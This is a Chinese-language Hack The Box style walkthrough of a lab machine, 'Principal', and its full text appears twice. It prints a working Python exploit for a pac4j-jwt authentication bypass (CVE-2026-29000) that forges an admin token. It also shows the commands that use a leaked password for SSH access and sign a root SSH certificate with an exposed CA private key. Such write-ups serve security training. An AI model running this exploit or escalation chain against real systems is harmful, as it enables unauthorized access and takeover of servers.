本文记录了一次完整的渗透测试打靶(CTF/HTB)过程。攻击者首先通过 Nmap 扫描发现目标开放了 22 和 8080 端口。在 8080 端口的 Web 服务中,发现其使用了存在 CVE-2026-29000 认证绕过漏洞 的 pac4j-jwt 组件。通过利用该 JWT 验证逻辑缺陷(解密后未校验签名),攻击者伪造了 Admin 权限的 Token 登入后台,并获取到 svc-deploy 用户的 SSH 凭据。登录服务器后,发现系统信任本地的一个 SSH CA 证书私钥。攻击者利用该私钥签发了具有 root 权限的 SSH 临时证书,最终成功获取最高权限。 本文记录了一次完整的渗透测试打靶(CTF/HTB)过程。攻击者首先通过 Nmap 扫描发现目标开放了 22 和 8080 端口。在 8080 端口的 Web 服务中,发现其使用了存在 CVE-2026-29000 认证绕过漏洞 的 pac4j-jwt 组件。通过利用该 JWT 验证逻辑缺陷(解密后未校验签名),攻击者伪造了 Admin 权限的 Token 登入后台,并获取到 svc-deploy 用户的 SSH 凭据。登录服务器后,发现系统信任本地的一个 SSH CA 证书私钥。攻击者利用该私钥签发了具有 root 权限的 SSH 临时证书,最终成功获取最高权限。
枚举
-> nmap -sC -sV -T4 10.129.229.236
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-15 07:48 +0000
Nmap scan report for principal.htb (10.129.229.236)
Host is up (0.42s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b0:a0:ca:46:bc:c2:cd:7e:10:05:05:2a:b8:c9:48:91 (ECDSA)
|_ 256 e8:a4:9d:bf:c1:b6:2a:37:93:40:d0:78:00:f5:5f:d9 (ED25519)
8080/tcp open http-proxy Jetty
|_http-server-header: Jetty
|_http-open-proxy: Proxy might be redirecting requests
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| Date: Sun, 15 Mar 2026 07:48:35 GMT
| Server: Jetty
| X-Powered-By: pac4j-jwt/6.0.3
| Cache-Control: must-revalidate,no-cache,no-store
| Content-Type: application/json
发现22,8080端口。
Web
8080端口中pac4j-jwt/6.0.3 搜索可以得到
▶CVE-2026-29000
CVE-2026-29000 是 2026 年披露的一个 严重身份认证绕过漏洞(Authentication Bypass),影响 Java 生态常用的安全框架 pac4j 的 JWT 模块 pac4j-jwt。该漏洞允许攻击者伪造身份令牌,从而直接登录系统甚至获得管理员权限。
下面从多个角度做一个概览:
一、漏洞基本信息
影响版本:
修复版本:
二、漏洞核心问题
漏洞发生在 JwtAuthenticator 处理加密 JWT(JWE)时的逻辑错误。
正常 JWT 认证流程:
但是漏洞版本存在一个问题:
解密后没有强制验证签名。
当内部 JWT 是 PlainJWT(无签名) 时:
toSignedJWT() 返回 null因此攻击者可以构造伪造 Token。
三、攻击思路(高层)
攻击者只需要:
1️⃣ 获取服务器 RSA 公钥
(很多系统会公开 JWKS endpoint)
例如:
/.well-known/jwks.json
/pubkey2️⃣ 构造一个 PlainJWT
例如:
{
"sub": "admin",
"role": "admin"
}3️⃣ 用服务器公钥加密生成 JWE
4️⃣ 将该 Token 作为
Authorization: Bearer <token>发送请求
服务器解密后:
结果:
攻击者成功伪造任意用户身份。
四、漏洞影响范围
这个漏洞影响较大,因为 pac4j 在 Java 生态使用广泛:
常见使用项目包括:
如果使用 JWT + pac4j-jwt 的服务可能受影响。
五、攻击效果
攻击者可以做到:
因为无需凭据:
攻击复杂度非常低。
六、漏洞本质
本质是一个典型安全误区:
“加密 ≠ 身份认证”
如果只做解密,不做签名验证:
系统就无法确认 token 来源。
七、修复方式
官方建议:
1 升级版本
升级 pac4j-jwt:
4.5.9
5.7.9
6.3.3修复内容:
2 临时缓解措施
如果无法升级:
可以做一些防护:
alg: none八、简单总结
一句话总结这个漏洞:
只用服务器公开的 RSA 公钥,就可以伪造任意用户登录。
属于:
USER
现在我们需要服务器的 RSA 公钥
查看源代码发现http://principal.htb:8080/static/js/app.js,其中暴露了几个端点
- const API_BASE = '';
- const JWKS_ENDPOINT = '/api/auth/jwks'; 获取公钥
- const AUTH_ENDPOINT = '/api/auth/login';
- const DASHBOARD_ENDPOINT = '/api/dashboard';
- const USERS_ENDPOINT = '/api/users';
- const SETTINGS_ENDPOINT = '/api/settings';
curl http://principal.htb:8080/api/auth/jwks
# 返回{"keys":[{"kty":"RSA","e":"AQAB","kid":"enc-key-1","n":"lTh54vtBS1NAWrxAFU1NEZdrVxPeSMhHZ5NpZX-WtBsdWtJRaeeG61iNgYsFUXE9j2MAqmekpnyapD6A9dfSANhSgCF60uAZhnpIkFQVKEZday6ZIxoHpuP9zh2c3a7JrknrTbCPKzX39T6IK8pydccUvRl9zT4E_i6gtoVCUKixFVHnCvBpWJtmn4h3PCPCIOXtbZHAP3Nw7ncbXXNsrO3zmWXl-GQPuXu5-Uoi6mBQbmm0Z0SC07MCEZdFwoqQFC1E6OMN2G-KRwmuf661-uP9kPSXW8l4FutRpk6-LZW5C7gwihAiWyhZLQpjReRuhnUvLbG7I_m2PV0bWWy-Fw"}]}
并且发现
// Role constants - must match server-side role definitions
const ROLES = {
ADMIN: 'ROLE_ADMIN',
MANAGER: 'ROLE_MANAGER',
USER: 'ROLE_USER'
};
使用官方脚本
#!/usr/bin/env python3
"""CVE-2026-29000: pac4j-jwt Authentication Bypass"""
import requests
import json
import base64
import time
import sys
from jwcrypto import jwk, jwe
TARGET = sys.argv[1]
# Step 1: Fetch the RSA public key from JWKS
print(f"[+] Fetching RSA public key from JWKS...")
resp = requests.get(f"{TARGET}/api/auth/jwks")
jwks_data = resp.json()
key_data = jwks_data["keys"][0]
pub_key = jwk.JWK(**key_data) # **key_data: 解包字典数据为关键字参数
print(f"[+] Successfully fetched RSA public key from JWKS")
# Step 2: Craft a PlainJWT with admin claims
def b64url_encode(data):
return base64.urlsafe_b64encode(data).rstrip(b"=").decode() # rstrip(b"="): 移除字节串末尾的等号
now = int(time.time())
header = b64url_encode(json.dumps({"alg": "none"}).encode()) # json.dumps(): 将字典转换为JSON字符串 encode(): 将字符串转换为字节串
payload = b64url_encode(json.dumps({
"sub": "admin",
"role": "ROLE_ADMIN",
"iss": "principal-platform",
"iat": now,
"exp": now + 3600,
}).encode())
plain_jwt = f"{header}.{payload}." # 末尾.(没有也要预留): 添加签名
print(f"[+] Crafted PlainJWT with sub=admin, role=ROLE_ADMIN")
# Step 3:Wrap in JWE encrypted with server's RSA public key
jwe_token = jwe.JWE(
plain_jwt.encode(),
recipient=pub_key,
protected=json.dumps({
"alg": "RSA-OAEP-256",
"enc": "A128GCM",
"kid": key_data["kid"],
"cty": "JWT",
})
)
forged_token = jwe_token.serialize(compact=True) # compact=True: 将JWE对象序列化为紧凑格式
print(f"[+] Forged JWE token created")
# Step 4: Access protected endpoints
headers = {"Authorization": f"Bearer {forged_token}"}
print(f"[+] Accessing /api/dashboard...")
resp = requests.get(f"{TARGET}/api/dashboard", headers=headers)
print(f"[+] Status: {resp.status_code}")
data = resp.json()
print(f"[+] Authenticated as: {data['user']['username']} ({data['user']['role']})")
print(f"[+] Token: {forged_token}")
运行后得到token,我们查看app.js可以发现
// Token management
class TokenManager {
static getToken() {
return sessionStorage.getItem('auth_token');
}
static setToken(token) {
sessionStorage.setItem('auth_token', token);
}
static clearToken() {
sessionStorage.removeItem('auth_token');
}
static isAuthenticated() {
return !!this.getToken();
}
static getAuthHeaders() {
const token = this.getToken();
return token ? { 'Authorization': `Bearer ${token}` } : {};
}
}
token在前端运用JavaScript脚本管理,通过在login的控制台加入我们的token
sessionStorage.setItem('auth_token', 'token');
刷新即可进入后台
在设置界面可以发现:encryptionKey:D3pl0y_$$H_Now42! 以及一些用户名
➜ Principal nxc ssh 10.129.229.236 -u user.txt -p 'D3pl0y_$$H_Now42!'
SSH 10.129.229.236 22 10.129.229.236 [*] SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.14
SSH 10.129.229.236 22 10.129.229.236 [-] admin:D3pl0y_$$H_Now42!
SSH 10.129.229.236 22 10.129.229.236 [+] svc-deploy:D3pl0y_$$H_Now42! Linux - Shell access!
ROOT
svc-deploy@principal:~$ id
# uid=1001(svc-deploy) gid=1002(svc-deploy) groups=1002(svc-deploy),1001(deployers)
svc-deploy@principal:~$ ls /opt/principal/
# app deploy ssh
发现三个文件,并且在ssh中发现密钥
svc-deploy@principal:~$ ls /opt/principal/ssh/
# README.txt ca ca.pub
svc-deploy@principal:~$ cat /opt/principal/ssh/README.txt
# 返回:
CA keypair for SSH certificate automation.
This CA is trusted by sshd for certificate-based authentication.
Use deploy.sh to issue short-lived certificates for service accounts.
Key details:
Algorithm: RSA 4096-bit
Created: 2025-11-15
Purpose: Automated deployment authentication
这里提到了deploy.sh ,以及我们可以读取ca私钥
find / -name "deploy.sh" 2>/dev/null 没有找到文件,查看下sshd的配置文件
svc-deploy@principal:~$ cat /etc/ssh/sshd_config.d/60-principal.conf
# Principal machine SSH configuration
PubkeyAuthentication yes
PasswordAuthentication yes
PermitRootLogin prohibit-password
TrustedUserCAKeys /opt/principal/ssh/ca.pub
当OpenSSH的TrustedUserCAKeys配置中没有包含AuthorizedPrincipalsFile时:任何由受信任的CA签署的证书都会被接受。
所以我们可以使用伪造的证书以root身份登录SSH
ssh-keygen -t ed25519 -f /tmp/pwn -N ""
ssh-keygen -s /opt/principal/ssh/ca -I "pwn-root" -n root -V +1h /tmp/pwn.pub
# ssh-keygen (SSH Key Generation Tool):SSH 密钥生成与管理工具。
# -s /opt/principal/ssh/ca (Sign with CA Key):最关键的参数。指定使用位于 /opt/principal/ssh/ca 的 CA 私钥 对证书进行签名。
# -I "pwn-root" (Identity):证书的标识符(Key ID)。这个字符串会被记录在服务器的日志中,通常用于审计(这里你起的标识符是 "pwn-root")。
# -n root (Principals):权限分配。指定该证书允许登录的用户名 (Username)。由于你填了 root,这意味着该证书仅对登录 root 账户有效。
# -V +1h (Validity):有效期 (Validity Period)。指定证书从现在起 1 小时内有效。这是一个聪明的做法,既能完成攻击,又不容易留下长期的后门。
# /tmp/pwn.pub (Public Key to sign):指定你要签名的原始公钥文件。
最后:ssh -i /tmp/pwn root@localhost
攻击链
nmap -> 8080 pac4j-jwt/6.0.3 -> CVE,认证漏洞 -> 管理员面板ssh泄露 -> sshd的错误配置 -> AuthorizedPrincipalsFile没有设置(意味着所有用户可以登录到所有用户) -> 伪造root证书,登录
枚举
-> nmap -sC -sV -T4 10.129.229.236
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-15 07:48 +0000
Nmap scan report for principal.htb (10.129.229.236)
Host is up (0.42s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b0:a0:ca:46:bc:c2:cd:7e:10:05:05:2a:b8:c9:48:91 (ECDSA)
|_ 256 e8:a4:9d:bf:c1:b6:2a:37:93:40:d0:78:00:f5:5f:d9 (ED25519)
8080/tcp open http-proxy Jetty
|_http-server-header: Jetty
|_http-open-proxy: Proxy might be redirecting requests
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| Date: Sun, 15 Mar 2026 07:48:35 GMT
| Server: Jetty
| X-Powered-By: pac4j-jwt/6.0.3
| Cache-Control: must-revalidate,no-cache,no-store
| Content-Type: application/json
发现22,8080端口。
Web
8080端口中pac4j-jwt/6.0.3 搜索可以得到
▶CVE-2026-29000
CVE-2026-29000 是 2026 年披露的一个 严重身份认证绕过漏洞(Authentication Bypass),影响 Java 生态常用的安全框架 pac4j 的 JWT 模块 pac4j-jwt。该漏洞允许攻击者伪造身份令牌,从而直接登录系统甚至获得管理员权限。
下面从多个角度做一个概览:
一、漏洞基本信息
影响版本:
修复版本:
二、漏洞核心问题
漏洞发生在 JwtAuthenticator 处理加密 JWT(JWE)时的逻辑错误。
正常 JWT 认证流程:
但是漏洞版本存在一个问题:
解密后没有强制验证签名。
当内部 JWT 是 PlainJWT(无签名) 时:
toSignedJWT() 返回 null因此攻击者可以构造伪造 Token。
三、攻击思路(高层)
攻击者只需要:
1️⃣ 获取服务器 RSA 公钥
(很多系统会公开 JWKS endpoint)
例如:
/.well-known/jwks.json
/pubkey2️⃣ 构造一个 PlainJWT
例如:
{
"sub": "admin",
"role": "admin"
}3️⃣ 用服务器公钥加密生成 JWE
4️⃣ 将该 Token 作为
Authorization: Bearer <token>发送请求
服务器解密后:
结果:
攻击者成功伪造任意用户身份。
四、漏洞影响范围
这个漏洞影响较大,因为 pac4j 在 Java 生态使用广泛:
常见使用项目包括:
如果使用 JWT + pac4j-jwt 的服务可能受影响。
五、攻击效果
攻击者可以做到:
因为无需凭据:
攻击复杂度非常低。
六、漏洞本质
本质是一个典型安全误区:
“加密 ≠ 身份认证”
如果只做解密,不做签名验证:
系统就无法确认 token 来源。
七、修复方式
官方建议:
1 升级版本
升级 pac4j-jwt:
4.5.9
5.7.9
6.3.3修复内容:
2 临时缓解措施
如果无法升级:
可以做一些防护:
alg: none八、简单总结
一句话总结这个漏洞:
只用服务器公开的 RSA 公钥,就可以伪造任意用户登录。
属于:
USER
现在我们需要服务器的 RSA 公钥
查看源代码发现http://principal.htb:8080/static/js/app.js,其中暴露了几个端点
- const API_BASE = '';
- const JWKS_ENDPOINT = '/api/auth/jwks'; 获取公钥
- const AUTH_ENDPOINT = '/api/auth/login';
- const DASHBOARD_ENDPOINT = '/api/dashboard';
- const USERS_ENDPOINT = '/api/users';
- const SETTINGS_ENDPOINT = '/api/settings';
curl http://principal.htb:8080/api/auth/jwks
# 返回{"keys":[{"kty":"RSA","e":"AQAB","kid":"enc-key-1","n":"lTh54vtBS1NAWrxAFU1NEZdrVxPeSMhHZ5NpZX-WtBsdWtJRaeeG61iNgYsFUXE9j2MAqmekpnyapD6A9dfSANhSgCF60uAZhnpIkFQVKEZday6ZIxoHpuP9zh2c3a7JrknrTbCPKzX39T6IK8pydccUvRl9zT4E_i6gtoVCUKixFVHnCvBpWJtmn4h3PCPCIOXtbZHAP3Nw7ncbXXNsrO3zmWXl-GQPuXu5-Uoi6mBQbmm0Z0SC07MCEZdFwoqQFC1E6OMN2G-KRwmuf661-uP9kPSXW8l4FutRpk6-LZW5C7gwihAiWyhZLQpjReRuhnUvLbG7I_m2PV0bWWy-Fw"}]}
并且发现
// Role constants - must match server-side role definitions
const ROLES = {
ADMIN: 'ROLE_ADMIN',
MANAGER: 'ROLE_MANAGER',
USER: 'ROLE_USER'
};
使用官方脚本
#!/usr/bin/env python3
"""CVE-2026-29000: pac4j-jwt Authentication Bypass"""
import requests
import json
import base64
import time
import sys
from jwcrypto import jwk, jwe
TARGET = sys.argv[1]
# Step 1: Fetch the RSA public key from JWKS
print(f"[+] Fetching RSA public key from JWKS...")
resp = requests.get(f"{TARGET}/api/auth/jwks")
jwks_data = resp.json()
key_data = jwks_data["keys"][0]
pub_key = jwk.JWK(**key_data) # **key_data: 解包字典数据为关键字参数
print(f"[+] Successfully fetched RSA public key from JWKS")
# Step 2: Craft a PlainJWT with admin claims
def b64url_encode(data):
return base64.urlsafe_b64encode(data).rstrip(b"=").decode() # rstrip(b"="): 移除字节串末尾的等号
now = int(time.time())
header = b64url_encode(json.dumps({"alg": "none"}).encode()) # json.dumps(): 将字典转换为JSON字符串 encode(): 将字符串转换为字节串
payload = b64url_encode(json.dumps({
"sub": "admin",
"role": "ROLE_ADMIN",
"iss": "principal-platform",
"iat": now,
"exp": now + 3600,
}).encode())
plain_jwt = f"{header}.{payload}." # 末尾.(没有也要预留): 添加签名
print(f"[+] Crafted PlainJWT with sub=admin, role=ROLE_ADMIN")
# Step 3:Wrap in JWE encrypted with server's RSA public key
jwe_token = jwe.JWE(
plain_jwt.encode(),
recipient=pub_key,
protected=json.dumps({
"alg": "RSA-OAEP-256",
"enc": "A128GCM",
"kid": key_data["kid"],
"cty": "JWT",
})
)
forged_token = jwe_token.serialize(compact=True) # compact=True: 将JWE对象序列化为紧凑格式
print(f"[+] Forged JWE token created")
# Step 4: Access protected endpoints
headers = {"Authorization": f"Bearer {forged_token}"}
print(f"[+] Accessing /api/dashboard...")
resp = requests.get(f"{TARGET}/api/dashboard", headers=headers)
print(f"[+] Status: {resp.status_code}")
data = resp.json()
print(f"[+] Authenticated as: {data['user']['username']} ({data['user']['role']})")
print(f"[+] Token: {forged_token}")
运行后得到token,我们查看app.js可以发现
// Token management
class TokenManager {
static getToken() {
return sessionStorage.getItem('auth_token');
}
static setToken(token) {
sessionStorage.setItem('auth_token', token);
}
static clearToken() {
sessionStorage.removeItem('auth_token');
}
static isAuthenticated() {
return !!this.getToken();
}
static getAuthHeaders() {
const token = this.getToken();
return token ? { 'Authorization': `Bearer ${token}` } : {};
}
}
token在前端运用JavaScript脚本管理,通过在login的控制台加入我们的token
sessionStorage.setItem('auth_token', 'token');
刷新即可进入后台
在设置界面可以发现:encryptionKey:D3pl0y_$$H_Now42! 以及一些用户名
➜ Principal nxc ssh 10.129.229.236 -u user.txt -p 'D3pl0y_$$H_Now42!'
SSH 10.129.229.236 22 10.129.229.236 [*] SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.14
SSH 10.129.229.236 22 10.129.229.236 [-] admin:D3pl0y_$$H_Now42!
SSH 10.129.229.236 22 10.129.229.236 [+] svc-deploy:D3pl0y_$$H_Now42! Linux - Shell access!
ROOT
svc-deploy@principal:~$ id
# uid=1001(svc-deploy) gid=1002(svc-deploy) groups=1002(svc-deploy),1001(deployers)
svc-deploy@principal:~$ ls /opt/principal/
# app deploy ssh
发现三个文件,并且在ssh中发现密钥
svc-deploy@principal:~$ ls /opt/principal/ssh/
# README.txt ca ca.pub
svc-deploy@principal:~$ cat /opt/principal/ssh/README.txt
# 返回:
CA keypair for SSH certificate automation.
This CA is trusted by sshd for certificate-based authentication.
Use deploy.sh to issue short-lived certificates for service accounts.
Key details:
Algorithm: RSA 4096-bit
Created: 2025-11-15
Purpose: Automated deployment authentication
这里提到了deploy.sh ,以及我们可以读取ca私钥
find / -name "deploy.sh" 2>/dev/null 没有找到文件,查看下sshd的配置文件
svc-deploy@principal:~$ cat /etc/ssh/sshd_config.d/60-principal.conf
# Principal machine SSH configuration
PubkeyAuthentication yes
PasswordAuthentication yes
PermitRootLogin prohibit-password
TrustedUserCAKeys /opt/principal/ssh/ca.pub
当OpenSSH的TrustedUserCAKeys配置中没有包含AuthorizedPrincipalsFile时:任何由受信任的CA签署的证书都会被接受。
所以我们可以使用伪造的证书以root身份登录SSH
ssh-keygen -t ed25519 -f /tmp/pwn -N ""
ssh-keygen -s /opt/principal/ssh/ca -I "pwn-root" -n root -V +1h /tmp/pwn.pub
# ssh-keygen (SSH Key Generation Tool):SSH 密钥生成与管理工具。
# -s /opt/principal/ssh/ca (Sign with CA Key):最关键的参数。指定使用位于 /opt/principal/ssh/ca 的 CA 私钥 对证书进行签名。
# -I "pwn-root" (Identity):证书的标识符(Key ID)。这个字符串会被记录在服务器的日志中,通常用于审计(这里你起的标识符是 "pwn-root")。
# -n root (Principals):权限分配。指定该证书允许登录的用户名 (Username)。由于你填了 root,这意味着该证书仅对登录 root 账户有效。
# -V +1h (Validity):有效期 (Validity Period)。指定证书从现在起 1 小时内有效。这是一个聪明的做法,既能完成攻击,又不容易留下长期的后门。
# /tmp/pwn.pub (Public Key to sign):指定你要签名的原始公钥文件。
最后:ssh -i /tmp/pwn root@localhost
攻击链
nmap -> 8080 pac4j-jwt/6.0.3 -> CVE,认证漏洞 -> 管理员面板ssh泄露 -> sshd的错误配置 -> AuthorizedPrincipalsFile没有设置(意味着所有用户可以登录到所有用户) -> 伪造root证书,登录